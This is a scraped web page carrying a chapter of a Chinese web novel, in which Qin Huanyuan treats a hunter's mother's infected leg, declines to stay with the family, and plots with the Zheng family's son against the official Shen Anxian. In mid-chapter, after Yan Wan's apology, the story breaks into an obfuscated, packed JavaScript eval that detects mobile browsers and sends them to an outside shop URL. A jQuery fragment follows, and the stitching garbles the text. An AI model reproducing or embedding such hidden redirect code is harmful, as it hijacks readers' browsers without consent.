文趣网 > 其他小说 > 公公要杀我? > 6. 入府
    “水。”秦欢缘指挥着,让李虎端进来木盆。

    她在清亮的水里拧了拧血污的帕子,见帕子洗去了血色,变成了朽灰,便把帕子折起来放在女人滚烫的额头。

    “给我烤着刀,两面都烤一遍。”

    看李虎站在一旁,秦欢缘从腰间抽出一把刀,抽出刀鞘,向灶火的方向指挥道。

    在他烤着刀时,秦欢缘仔细看起了女人受伤的小腿,尽管可以看出常换药的痕迹,但这腐坏的部分未去掉,哪怕是再好的药,也起不了效果,更别说,他们这只是最基础的止血药草。

    而这个时代,似乎并没有剜去腐肉的治疗方式,只能在伤处一遍又一遍的敷药,可却让伤口更加封闭,直至最后化脓,感染,高烧。

    “烤好了!”

    接过刀,秦欢缘呼出一口气,把袖中的麻药瓶拿出,正要倒在女人烂开的腿上,却听李虎连忙唤道:“神医,你不是说这是肚烂肠穿的毒药,怎么能用在我娘亲身上。”

    “以毒攻毒,你要不要治?”

    看了眼母亲瘦得颧骨突出的脸,李虎狠下心,扭过头道:”治!”

    “剜去腐坏的肉,才能长出新的好肉,这是麻药,止疼的。”

    秦欢缘将剩余的麻药全撒下,剜去腐坏处后,她接过李虎递过来的三七粉,又混合了一些草药,撒在伤口上。

    等到弄完之后,她擦了擦脸上的汗,把刀放进木盆里道。

    “不发高热就没事了。”

    秦欢缘说完,站起身来,正想向李虎再要块帕子擦刀,却不料,眼前一阵黑暗,天旋地转下,顿时失去了意识。

    …………

    “你是不知道,你爹我可是见过大世面的,但像是今日那事,我倒真是第一次见。”

    “人人都瞧见了,那京中来的大官逮到了那江洋大盗,正巡街去,那可真是……”

    “爹,你待会别说这事,神医她……

    “水……咳咳……”

    干哑的嗓子让秦欢缘连说一句完整的话都有点难,她往旁边抓去,被一双小小的手接住了。

    “仙女姐姐,你,你要喝粥吗?”

    秦欢缘半坐起身,看着端过来的稀得飘着几粒米的粥,仰头一碗饮尽。

    “小姑娘,谢谢你……”

    一碗熨帖的热汤喝下,秦欢缘混乱的脑子慢慢安静下来。

    “仙女姐姐,我去叫虎子哥。”

    “神医,神医你醒了,我娘好多了,高热也降下来了,方才还喝了一碗粥……”

    李虎絮絮叨叨地说着,分享着亲人病愈的喜悦,秦欢缘扯出一个笑,却听不见李虎后面说的话,她努力凝下心来,听到李虎继续说着。

    “神医,你,你做我妹妹,和我们一起过日子吧,我娘和我爹都很喜欢你,小桃也很喜欢你,我保证,你以后不用再过江洋大盗的日子了,我爹是猎户,我娘做的榆钱饼可好吃了!”

    李虎兴致高昂地开口,看秦欢缘没有开口,他的话也变得有些迟疑:“神医?”

    “小虎,”秦欢缘想起一路上过来的种种,知道李虎是好意,但她却不知怎么应答,便低下头道,“我做了一个梦,梦里是刀疤脸在叫我快跑。”

    “我这里还有他给我的东西,我不能留下来,我治了你娘亲,也算是还了把你牵扯进来的情。”

    “我要走的。”

    秦欢缘一句句说着,抬起头来,瞧着李虎慌乱地摆手:“今儿,今儿太晚了,非要走的话,也不急这一会儿。”

    李虎站起身来,走到木门边,合了半扇门道:“你今儿也累了,我这就出去,你好好休息。”

    “……”

    秦欢缘看着李虎出去的背影,叹出一口气,从胸口处拿出盒子,放在手上端详着。

    这木盒只有一个手掌大小,也不重,不知道里面是放了什么?

    盒子上方有繁复的枝条纹路,侧面像是牡丹花,雕得栩栩如生。

    刀疤脸啊刀疤脸,你给我的这盒子到底是什么意思呢,江洋大盗,这就是你偷的东西吗?

    能够引来起码两方人马的追杀,这怎么看也不是一个可以随便处置的东西。

    “……仙女姐姐。”

    秦欢缘正在苦恼时,一道怯生生的女孩声响起,她立即把盒子塞到被子里,转过头去。

    这便看清楚了,是一个五六岁模样的小女孩,扎着两个歪歪扭扭的小辫子,布衣上打满了补丁,脸上却是一副高兴又羞怯的笑。

    她认出这是给自己端粥,叫自己仙女的小孩,便摆出了一副自认最温柔,最庄重,最和蔼的笑脸道:“是你啊小姑娘,你叫什么名字?”

    “我叫小桃,仙女姐姐,虎哥说是你救了娘亲,我,我来给你送东西。”

    李桃从背后拿出一个虎头布偶道:“这是娘亲给我做的,我最喜欢这个,送给你。”

    “是你哥和你爹让你来的吗?”

    李桃摇了摇头,小声道:“虎哥不让我来找你,说不能打扰你,但是,但是我很喜欢姐姐,就悄悄来了。”

    “你这么珍贵的东西,舍得就这样送我吗?”

    “姐姐,姐姐是好人,舍得。”

    李桃笑得眼睛都眯了起来,红扑扑的小脸格外惹人欢喜,亮晶晶的眼神让秦欢缘想摆的长辈架势都摆不下去了,她噗嗤一声,也便接过虎头布偶,捏了一下她的小脸道。

    “谢谢小桃呀,这个东西姐姐就收下了。”

    “嗯!”

    一夜无眠,秦欢缘起了个大早,将虎头布偶放在了床边,便出了门。

    她谢绝了李虎送下山的提议,转了个弯,进了城。

    入城后,秦欢缘先去茶楼要了碗茶,待了半响,打探到想要的消息后,径直朝庆安药铺走去。

    待进了后院,她找到正在和小丫鬟分拣账本的严婉,斟酌着开口道。

    “严小姐,我想求你件事。”

    严婉笑意依旧,整个人一袭蓝裙,温和淡雅,她挥手让身边的小丫鬟离开,道:“欢缘姑娘言重了,是何事,你先说说。”

    瞧着严婉脸色较昨日红润了些,精神头不错,因此,秦欢缘也不再耽搁,直言道。

    “我想借姑娘的名义,见郑家公子。”

    “他?据说被沈大人教训后,现下令不见客,不知姑娘找此人何事?”

    “此事,不便告诉,只要严小姐借一个名义,给封请帖什么的,让我见到郑公子就好。”

    “这……”

    严婉犹疑片刻,道:“这不是不可,但若不知姑娘何意,我恐怕不能答应。”

    严婉歉意地朝秦欢缘笑了一下,万分为难地解释道:“世俗规矩如此,小女子家族内规矩也甚是严苛,连在此看账本也是家族看在阿翁的脸面上,我实是不敢冒着这般风险做此事,对不住姑娘了。”

    “除了请柬一事,其余之事姑娘还可说说,严婉必定相帮。”

    秦欢缘看向严婉,发现她目光澄澈,满含歉意,确实是真心之语。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964032|214413||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    也因此,她不禁生出一种荒唐感,连沈安贤那样的人严婉也敢对上,也敢帮她,却因世俗规矩,对上郑家公子这样的人却是难事。

    但现下她必须要见到郑家公子,于是,她垂头思考片刻,看到了屋外探头探脑的小丫鬟,脑中闪过一个想法,便笑着道。

    “严婉姑娘,不用请柬了,借你身旁的婢女用半日,如何?”

    “这,自然可以。”

    顶着严婉疑惑的目光,秦欢缘带着小丫鬟走出了药铺。

    她问了小丫鬟姓名,得知她叫心儿后,便带着她东逛逛,西逛逛,最后在集市上挑了个帷帽。

    逛了快半日后,她便戴上帷帽,带着人走进了福来客栈。

    “心儿,待会你什么都不要说,就站在我身边,跟着我,叫你出去你就出去。”

    “……哦。”

    瞧着心儿不甚明白的样子,秦欢缘也没有解释,带她吃完了饭,便趁伙计不备,两人上了二楼。

    秦欢缘走到了一个客栈的门前,瞧着这十分寻常的房门,她小声对心儿道:“敲门。”

    “咚咚咚——”

    “谁啊!”

    刚敲了三下,一个胖胖的大汉从里面推开门,大吼道。

    “到底是谁敢——!”

    这人的眼睛在看到心儿的瞬间,呆了一下,随后,他把门砰地关上,进去一会后,赶忙给两人开了门,堆笑招呼道:“请进请进。”

    进了屋后,秦欢缘看着郑家公子趴在床上,半边身子掩在被子下,看向她的眼神十分复杂。

    “你们都出去!”郑家公子指挥人出去后,语气奇怪道:“你……”

    瞧着心儿和那大汉出去后把门带上,秦欢缘不再耽搁,没等郑家公子说出什么,就一把扯下了帷帽。

    “你,你是?!你来干什么!”

    见人惊恐,秦欢缘扯出一个笑,快速道:“我是来和郑公子谈合作的。”

    “谈什么合作,我和你没什么好说的,我不认识你。”

    秦欢缘摇了摇头道:“公子认得,昨日在医馆是我治了严小姐,而今日,我想与郑公子谈一个合作,事成之后,我可以为公子治伤,只要公子愿意和我合作。”

    “什么合作?”

    “把沈安贤从现在的位置上拉下来。”

    “你凭什么帮我?”

    “公子不知,我只是一个小女子,那沈安贤看中了我,要我做他的人,我不从,他就杀了我父亲,害得我只能随着南下的亲戚来到此地。”

    “我一直躲到这里与亲戚过日子,却不想还是被他撞见了,我想这是天意,他不记得我了,我可记得他,杀父之仇,不共戴天。”

    “现下他因追捕江洋大盗,暂住此地,我想这是我报仇的最佳时机。”

    听到秦欢缘说是为了报复沈安贤而来,又听她说了杀父之仇一事,郑家公子神色激动得甚至想爬起来,但在扯到身上的伤后,他面色扭曲了一瞬,顿时不再犹豫,连忙道:“好!本公子也恨他恨得牙痒。”

    “他不仅打了我三十大板,还占了我家宅子,我早就看不惯这等阉狗了!”

    “既然同是他的敌人,本公子便与你一道,把他拉下马来,你有何办法,快细细说来!”

    “这样,然后这样……”

    一日后。

    “沈大人,小人前来拜访,特来赔罪!”

    秦欢缘站在郑府的大门前,不顾门口两个奴仆的目光,大声呼唤道。